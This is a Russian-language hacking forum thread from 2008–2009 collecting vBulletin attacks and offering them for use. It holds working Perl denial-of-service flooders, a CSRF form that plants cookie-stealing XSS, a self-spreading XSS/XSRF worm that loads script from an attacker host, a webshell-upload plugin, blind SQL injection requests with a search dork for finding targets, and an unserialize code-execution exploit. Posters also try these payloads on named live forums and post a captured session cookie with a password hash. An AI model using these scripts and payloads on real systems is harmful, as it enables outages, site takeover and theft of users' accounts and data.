Форумы [Обзор уязвимостей vBulletin]

Discussion in 'Уязвимости CMS/форумов' started by bandera, 19 Aug 2006.

  1. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Vbulletin Password Brute Force

    ############################################################
    ## Author: M4k3 ##
    ## Script-Version: 1.0.2b ##
    ## Script-Name: vb_tool.php ##
    ## Copyright: pldsecurity.de / .com /pldsoft.com ##
    ## ##
    ## Comment: Next Version coming soon, check ##
    ## pldsecurity.com for Updates ##
    ############################################################

    Download:

    http://rapidshare.com/files/130741356/Vbulletin_Password_Brute_Force.rar
     
    #41 Fugitif, 13 Jul 2008
    Last edited: 19 Jul 2008
    1 person likes this.
  2. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    vBulletin PhotoPost vBGallery v2.x Remote File Upload


    vBulletin PhotoPost vBGallery v2.x Remote File Upload

    http://milw0rm.com/exploits/6082

    Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.
     
  3. Nelzone

    Nelzone Banned

    Joined:
    12 Apr 2008
    Messages:
    172
    Likes Received:
    134
    Reputations:
    6
    Ajax Reg+XSS

    Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..

    1.Любой версия Vbulletin
    2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar
    3.Примые Руки

    Вывод
    1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт.
    _http://xaknets.h18.ru/images/1.bmp

    2.Тепер как обычно курсив <i>BaG получайем это.
    _http://xaknets.h18.ru/images/2.bmp
    3.Черкныти <u>BaG
    _http://xaknets.h18.ru/images/3.bmp
    4.Тепер самы Главное) ВЫводим вот это

    Получайем вот это))
    _http://xaknets.h18.ru/images/4.bmp

    вот и все

    XSS УЯЗВИМОСТЬ
    http://indimoviez.com/forums/ajax.php?do=CheckUsername&param="><script>alert("ANTICHAT")</script>
     
    #43 Nelzone, 6 Aug 2008
    Last edited: 2 Nov 2008
    2 people like this.
  4. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Vbulletin Doser

    Code:
    #!"c:\perl\bin\perl.exe"
    use Socket;
    if (@ARGV < 2) { &usage; }
    $rand=rand(10);
    $host = $ARGV[0];
    $dir = $ARGV[1];
    $host =~ s/(http:\/\/)//eg;
    for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
    {
    $user="h4x0r".$rand.$i;
    $data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
    $len = length $data;
    $foo = "POST ".$dir."search.php HTTP/1.1\r\n".
    "Accept: */*\r\n".
    "Accept-Language: en-gb\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Accept-Encoding: gzip, deflate\r\n".
    "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
    "Host: $host\r\n".
    "Content-Length: $len\r\n".
    "Connection: Keep-Alive\r\n".
    "Cache-Control: no-cache\r\n\r\n".
    "$data";
    my $port = "80";
    my $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
    connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
    send(SOCKET,"$foo", 0);
    syswrite STDOUT, "|" ;
    
    }
    print "\n\n";
    system('ping $host');
    sub usage {
    print "\tusage: \n";
    print "\t$0 <host> </dir/>\n";
    print "\tex: $0 127.0.0.1 /forum/\n";
    print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
    print "\~rippers~ team\n";
    print "\twww.~rippers~.org\n\n";
    
    
    
    
    exit();
    };
    
     
    1 person likes this.
  5. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    vBulletin sql inject Downloads Mod

    vBulletin sql inject Downloads Mod
    found by kobo
     
    #45 Mo4x, 16 Aug 2008
    Last edited by a moderator: 3 Sep 2008
    3 people like this.
  6. exit

    exit Member

    Joined:
    29 Jan 2007
    Messages:
    10
    Likes Received:
    6
    Reputations:
    0
    vBulletin Version: 3.6.8 Patch Level x

    Code:
    ############################################################### 
    Autor: NBBN 
    Founded: 5, January 2008 
    vBulletin Version: 3.6.8 Patch Level x and possible lower 
    Type: XSRF/XSS 
    Risk: Medium 
    ############################################################### 
    
    ##Explanation(english)## 
    
    My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable. 
    Administrators can use html in there own usertitle. 
    An attacker can update the profile of an administrator by sending a link to a 
    site with a code like this: 
    
    
     <html> 
      <head></head> 
      <body onLoad=javascript:document.form.submit()> 
    
    <form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile" 
    method="POST" name="form"> 
    
    <input type="hidden" name="s" value=""> 
    <input type="hidden" name="do" value="updateprofile"> 
    <input type="hidden" name="customtext" value="###########XSS CODE#########"> 
    <!-- Attacker's XSS Code --> 
    <input type="hidden" name="month" value="-1"> 
    <input type="hidden" name="day" value="-1"> 
    <input type="hidden" name="year" value=""> 
    <input type="hidden" name="oldbirthday" value=""> 
    <input type="hidden" name="showbirthday" value="2"> 
    <input type="hidden" name="homepage" value=""> 
    <input type="hidden" name="icq" value=""> 
    <input type="hidden" name="aim" value=""> 
    <input type="hidden" name="msn" value=""> 
    <input type="hidden" name="yahoo" value=""> 
    <input type="hidden" name="skype" value=""> 
    </form> 
    </body> 
    </html>
    Code:
    If an attacker send a link in a pm for example, to the admin with a site 
    like the example code, the admin's usertitle updating and have a the code of 
    the attacker.The code executing if the admin have a post done in a thread 
    etc. An attacker can use this to steal the cookie of all user's who are 
    reading the thread. 
    
    
    ##Explanation(Deutsch/German)##: 
    
    In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um 
    XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code 
    verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript 
    code auszuführen, wenn er den oben stehenden code in eine Seite packt und 
    dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite 
    mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies 
    von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein 
    Administrator gepostet hat.
     
    #46 exit, 20 Aug 2008
    Last edited: 20 Aug 2008
    2 people like this.
  7. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4


    Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4

    _http://securityvulns.ru/Udocument391.html

    Активка в всплывающем уведомлении о новом входящем ПМ.

    "Show New Private Message Notification Pop-up" у юзера должно быть включено.

    В теме ПМ сообщения:
    HTML:
    --></script><script>alert(/xss/)</script><!-- 
     
    #47 Elekt, 25 Aug 2008
    Last edited: 25 Aug 2008
  8. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Vbulletin Plugin ChatBox Xss Vulnerability

    Code:
    ####################################### Vbulletin Plugin ChatBox Xss Vulnerability   #
     
    Discovered By Alemin_Krali# [email protected]                          # www.al3m.blogspot.com    
    # Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk
    Vulnerability! Xss Working!######################################note:You login site and xss try.
     
    Ex:
    http://www.localhost/misc.php?do=ccarc&cbt=xss
     
    Example Site:
    http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss
     
    and cookie
     
    XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi:
    78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0;
    bbforum_view=fcef3869fbbf346863082895ed158bd5de6700a1a-2-{i-170_i-1218911557_i-
    158_i-1218911699_};bbpassword:
    7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbthread_lastview=f0d6496e44c2b0af
    6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_}
     
    this big lammer center:)
    a bugs life!
    ########################################### 
    Source:

    http://securityvulns.com/Udocument371.html
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit

    Code:
    /* -----------------------------
     * Author      = Mx
     * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
     * Software    = vBulletin
     * Addon       = Visitor Messages
     * Version     = 3.7.3
     * Attack      = XSS/XSRF
    
     - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
     + with the visitor messages addon (a clone of a social network wall/comment area).
     - When posting XSS, the data is run through htmlentities(); before being displayed
     + to the general public/forum members. However, when posting a new message,
     - a new notification is sent to the commentee. The commenter posts a XSS vector such as
     + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
     - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
     + and I have included an example worm that makes the user post a new thread with your own
     - specified subject and message.
    
     * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
     * of the attack method.
     * ----------------------------- */
    
    function getNewHttpObject() {
    var objType = false;
    try {
    objType = new ActiveXObject('Msxml2.XMLHTTP');
    } catch(e) {
    try {
    objType = new ActiveXObject('Microsoft.XMLHTTP');
    } catch(e) {
    objType = new XMLHttpRequest();
    }
    }
    return objType;
    }
    
    function getAXAH(url){
    
    var theHttpRequest = getNewHttpObject();
    theHttpRequest.onreadystatechange = function() {processAXAH();};
    theHttpRequest.open("GET", url);
    theHttpRequest.send(false);
    
    function processAXAH(){
    if (theHttpRequest.readyState == 4) {
    if (theHttpRequest.status == 200) {
    
    var str = theHttpRequest.responseText;
    var secloc = str.indexOf('var SECURITYTOKEN = "');
    var sectok = str.substring(21+secloc,secloc+51+21);
    
    var posloc = str.indexOf('posthash" value="');
    var postok = str.substring(17+posloc,posloc+32+17);
    
    var subject = 'subject text';
    var message = 'message text';
    
    postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
    
    }
    }
    }
    }
    
    
    
    
    
    
    
    
    function postAXAH(url, params) {
    var theHttpRequest = getNewHttpObject();
                   
    theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
    theHttpRequest.open("POST", url);
    theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
    theHttpRequest.send(params);
    
    function processAXAHr(elementContainer){
    if (theHttpRequest.readyState == 4) {
    if (theHttpRequest.status == 200) {
    
    }
    }
    }
    }
    
    
    getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
    document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
    
    # milw0rm.com [2008-11-20]
    http://milw0rm.com/exploits/7174
     
    _________________________
    2 people like this.
  10. x3r0x

    x3r0x New Member

    Joined:
    6 May 2007
    Messages:
    7
    Likes Received:
    1
    Reputations:
    1
    Multiple Sql Injection in vBulletin 3.7.4

    (C)
     
    #50 x3r0x, 24 Nov 2008
    Last edited: 24 Nov 2008
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    HTML & XSS Code Execution
    Выполнение произвольного HTML и XSS кода.
    Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
    1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456
    Где 123456 - ID сообщения, где будет исполнятся код.
    Текст предупреждения:
    Code:
    <script>alert('mailbrush H@CK3R')</script>
    Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.

    © mailbrush
     
    #51 mailbrush, 14 Dec 2008
    Last edited: 21 Jan 2009
    5 people like this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    HTML & XSS Code Execution x2

    Что необходимо?
    а) Доступ в админку
    б) Прямые руки, соображение, минимальное знание инета и хтмл.


    Как работает?
    Уязвимость заключается в том, что поле "Заголовок" не фильтруется.


    Начинаем
    Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим:
    Code:
    <script>alert('mailbrush H@CK3R)</script>
    Кликаем Сохранить. После этого заходим:

    а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
    b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.


    © mailbrush
     
    #52 mailbrush, 21 Jan 2009
    Last edited: 21 Jan 2009
  13. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    1 person likes this.
  14. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    vBulletin® Version 3.8.2 Denial of Service Exploit


    Code:
    #!usr/bin/perl
    #vBulletin® Version 3.8.2 Denial of Service Exploit
    #ea$y Laster
    ########################################################################
    # Modules                                                              #
    ########################################################################
    use IO::SOCKET;           # Object interface                           #
    ########################################################################
    if (@ARGV<1){
    print"
    ########################################################################
    ## _                     _     _                   _                  ##
    ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
    ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
    ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
    ##                                                                    ##
    ########################################################################
    ########################################################################
    ##                                ##                                  ##
    ##->vBulletin® Version 3.8.2<-    ##                                  ##
    ##                                ##                                  ##
    ##Gebe diese Daten an             ##                                  ##
    ##1.Ziel                          ##[*] www.Ziel.com                  ##
    ##2.Board                         ##[*] vbulletin                     ##
    ##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
    ##4.Zeit des vorganges            ##[*] 9999999999999999              ##
    ##5.Port                          ##[*] 80                            ##
    ########################################################################
    \a";}
    $block = "
    ########################################################################";
    $fehler = "Fehler!Fehler!Fehler!Fehler";
    $x =0;
         print"$block\n";
         print q(Ziel->);
         chomp($ziel =<STDIN>);
         if ($ziel eq""){
         die "$fehler\a\n";}
         print"$block\n";
           print"$block\n";
           print q(Path->);
           chomp($path =<STDIN>);
           if ($path eq "") {
           die "$fehler !\a\n";}
           print"$block\n";
              print"$block\n";
              print "Verwundbarkeit\n";
              print"forumdisplay.php?f=\n";
              print"->"n;
                chomp($vul =<STDIN>);
                if ($vul eq "") {
                die "$fehler !\a\n";}
                print"$block\n";
                   print"$block\n";
                   print q(Time->);
                   chomp($flood =<STDIN>);
                   if ($flood eq "") {
                   die "$fehler !\a\n";}
                      print"$block\n";
                      print"$block\n";
                      print q(Port->);
                      chomp($port =<STDIN>);
                      if ($port eq ""){
                      die "$fehler \n";}
                      print"$block\n";
                         print q(Send "start"->);
                         chomp($start =<STDIN>);
                         if ($start eq "") {
                         die "$fehler\n";}
    print "$block\a\n";
    print "[+]Konntroliere Daten \n";
    print "[*]Kontroliere Ziel   : $ziel\n";
    print "[*]Kontroliere Board  : $path\n";
    print "[*]Kontroliere Port   : $port\n";
    print "$block\n";
    if($start == 1){
    while($x != 0000){
    $x++;}
    }elsif ($start == start){
    while($x != $flood)
    {
    $postit = "$ziel"."$path"."$vul";
    $lrg = length $postit;
    $sock = new IO::Socket::INET (
                                   PeerAddr => "$ziel",
                                   PeerPort => "$port",
                                   Proto => "tcp",
                                  );
    
    print $sock "POST $path$vul HTTP/1.1\n";
    print $sock "Host: $ziel\n";
    print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
    print $sock "Referer: $ziel\n";
    print $sock "Accept-Language: en-us\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
    print $sock "Content-Length: $lrg\n\n";
    print $sock "$postit\n";
    close($sock);
    syswrite STDOUT, "->BLACKOUT<-";
    $x++;
    }
    }else{
    die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
    } 
     
  15. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Заливаем шелл[любая версия]



    Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
    Code:
    $target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял
    
    $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
    
    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
        echo "The file ".  basename( $_FILES['uploadedfile']['name']).
        " has been uploaded";
    } else{
        echo "There was an error uploading the file";
    } 
    Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

    Далее нам нужно место для загрузки:
    Code:
    <form enctype="multipart/form-data" action="ajax.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
    Choose a file to upload: <input name="uploadedfile" type="file" /><br />
    <input type="hidden" name="s" value="$session[sessionhash]" />
    <input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
    <input type="submit" value="Upload File" />
    </form> 
    Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)
     
    1 person likes this.
  16. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Injection И новый баг с мнениями в vBulletin.

    Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа
    Code:
    (if(substring(@@version,1,1)=5,777,666)) 
    Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.
     
    #56 ZARO, 14 Oct 2009
    Last edited: 14 Oct 2009
    3 people like this.
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Blind - SQL Injection
    Opinion System <= 1.4.3

    Тип: SQL - Инъекция
    Автор: mailbrush
    Мод (хак): Opinion System <= 1.4.3
    О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
    Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
    Уязвимый код:
    opinion.php
    PHP:
    $value $_POST[value];
    ...
                
    //пишем мнение в базу
                
    $vbulletin->db->query_write("
                    INSERT INTO " 
    TABLE_PREFIX "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
                    VALUES (
    $opinionid$fromuserid$touserid$value$dateline, '".$vbulletin->db->escape_string($comment)."', $autofill$history$forcehistory".$modyfied2.")
                "
    );
    Эксплуатация: Для эксплуатации уязвимости необходимо следующее:
    • Форум vBulletin.
    • Установленный мод Opinion System <= 1.4.3.
    • Зарегистрированный аккаунт на форуме.
    Отправляем запрос:
    Code:
    POST /[COLOR=Red][path][/COLOR]/opinion.php HTTP/1.1
    Host: [COLOR=Red][host][/COLOR]
    Cookie: [COLOR=Red][cookie][/COLOR]
    Connection: Keep-Alive
    Content-Length: [COLOR=Red][content-length][/COLOR]
    Content-Type: application/x-www-form-urlencoded
    
    do=postvote&securitytoken=[COLOR=Red][token][/COLOR]&touserid=[COLOR=Red][touserid][/COLOR]&fromuserid=[COLOR=Red][fromuserid][/COLOR]&uop=0&username=[COLOR=Red][username][/COLOR]&comment=[COLOR=Red][comment][/COLOR]&value=[B][COLOR=Red][SQL][/COLOR][/B]
    Code:
    [COLOR=Red][path][/COLOR] - путь к корню форума.
    [COLOR=Red][host][/COLOR] - хост.
    [COLOR=Red][cookie][/COLOR] - куки.
    [COLOR=Red][content-length][/COLOR] - длина POST-запроса.
    [COLOR=Red][token][/COLOR] - securitytoken (не во всех форумах надо указывать).
    [COLOR=Red][touserid][/COLOR] - ID пользователя, которому ставим оценку.
    [COLOR=Red][fromuserid][/COLOR] - ваш ID.
    [COLOR=Red][username][/COLOR] - имя пользователя, которому ставим оценку.
    [COLOR=Red][comment][/COLOR] - комментарий к оценке.
    [B][COLOR=Red][SQL][/COLOR][/B] - SQL - запрос.
    В базу данных пойдет запрос вида
    Code:
    INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [B][COLOR=Red][SQL][/COLOR][/B], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR])
    Соответственно вместо [SQL] можно подставить запрос вида
    Code:
    (if(substring(@@version,1,1)=5,777,666))
    Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
    Дорк:
    Code:
    vbulletin inurl:opinion.php
     
    8 people like this.
  18. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    VBulletin nulled <= 3.8.1 Arbitrary Function Execution

    includes/class_core.php@3124:
    PHP:
    class vB_Shutdown
    {
        
    /* ... */
        
    function __destruct()
        {
            if (!empty(
    $this->shutdown))
            {
                foreach (
    $this->shutdown AS $key => $funcname)
                {
                    
    $funcname();
                    unset(
    $this->shutdown[$key]);
                }
            }
        }
    }
    forumdisplay.php@165:
    PHP:
    if ($vbulletin->GPC['postvars'] != '')
    {
        if ((
    $check verify_client_string($vbulletin->GPC['postvars'])) !== false)
        {
            
    $temp unserialize($check);
            
    /* ... */
        
    }
    }
    includes/functions.php@2211:
    PHP:
    function verify_client_string($string$extra_entropy '')
    {
        
    /* ... */
        
    $firstpart substr($string040);
        
    $return substr($string40);
        
    $decode false;
        
    /* ... */

        
    if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
        {
            return (
    $decode base64_decode($return) : $return);
        }

        return 
    false;
    }
    В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

    Эксплоит для выполнения phpinfo():
    Code:
    /forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
    Если непонятно как это работает, прошу сюда:
    http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
     
    7 people like this.
  19. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91

    Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
    Получаю лишь раскрытие путей.
    Вот пример с хеки))
    Code:
    http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
    Имеем:
    Code:
    Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
    


    З.Ы.
    Вот ещё мегаприватфорум:
    Code:
    http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
    phpinfo() опять-таки не выполнилась, вот что пишет:
    Code:
    1||1259872978||||||||Error Opening Logfile.
     
    #59 Root-access, 3 Dec 2009
    Last edited: 3 Dec 2009
    2 people like this.
  20. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская
     
    1 person likes this.